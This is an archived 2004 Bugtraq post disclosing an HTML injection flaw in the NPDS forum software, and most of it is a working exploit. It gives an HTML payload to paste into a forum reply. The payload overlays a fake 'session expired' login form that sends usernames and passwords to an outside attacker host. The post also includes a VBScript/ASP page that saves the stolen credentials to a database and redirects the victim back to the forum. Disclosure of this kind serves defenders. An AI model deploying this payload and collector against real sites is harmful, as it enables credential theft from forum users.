Nmap Security Scanner
*Intro
*Ref Guide
*Install Guide
*Download
*Changelog
*Book
*Docs
Security Lists
*Nmap Hackers
*Nmap Dev
*Bugtraq
*Full Disclosure
*Pen Test
*Basics
*More
Security Tools
*Pass crackers
*Sniffers
*Vuln Scanners
*Web scanners
*Wireless
*Exploitation
*Packet crafters
*More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:
edgeos network security services platform







Bugtraq: Npds BB HTML Injection

Npds BB HTML Injection

From: Benjamin Tolman <rituel_at_voila.fr>
Date: 7 Jul 2004 06:59:40 -0000
('binary' encoding is not supported, stored as-is) I release it very quickly ... So it can be improved :

Code to put in a reply or in a topic :

Your fake message</td></tr><tr><td valign="bottom"><hr noshade size="1" class="ONGL">&nbsp;&nbspProfil&nbsp;&nbsp;www&nbsp;&nbsp;Citation

&nbsp;&nbsp;
</td></tr></table></TD></TR>



<div style="position: absolute; left=0; top=0; height=3200; width=150"><form action="http://mon-site-de-roxor.com/roxor.asp" method="post" name="piquage" target="_self"><table width="100%" border="0" cellspacing="0" cellpadding="0"><tr><td colspan="2"><div align="center">Your session has expired. Please log in to reply.</div></td></tr><tr><td>&nbsp;</td></tr><tr><td><div align="right">Login :</div> </td> <td><input name="login" type="text" value=""> </td></tr><tr><td><div align="right">Mot de passe :</div> </td><td><input name="password" type="password" value=""> </td></tr><tr><td>&nbsp;</td></tr><tr><td colspan="2"><div align="center"><input type="submit" name="Submit" value="Envoyer"></div></td></tr></table></form></div>

Example of Code (VBscript) to put in the page called by the form in the topic :

<%@ Language=VBScript %>



<%



set base=server.createobject("ADODB.CONNECTION")

base.open nom_base, login_base, password_base



referant=left(request.servervariables("HTTP_REFERER"),instr(8,request.servervariables("HTTP_REFERER"),"/")-1)

login=Request.QueryString("login")

password=Request.QueryString("password")



requete_vol_infos="INSERT statistiques (date,npds,login,password) VALUES (getdate(),'" + cstr(referant) + "','" + cstr(login) + "','" + cstr(password) + "')"



set resultat_vol_infos=server.CreateObject("ADODB.RECORDSET")

resultat_vol_infos.Open requete_vol_infos, base



response.redirect(referant)



%>

Thanks to N-0-X and NewFFR :o)

Rituel
Received on Jul 07 2004
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]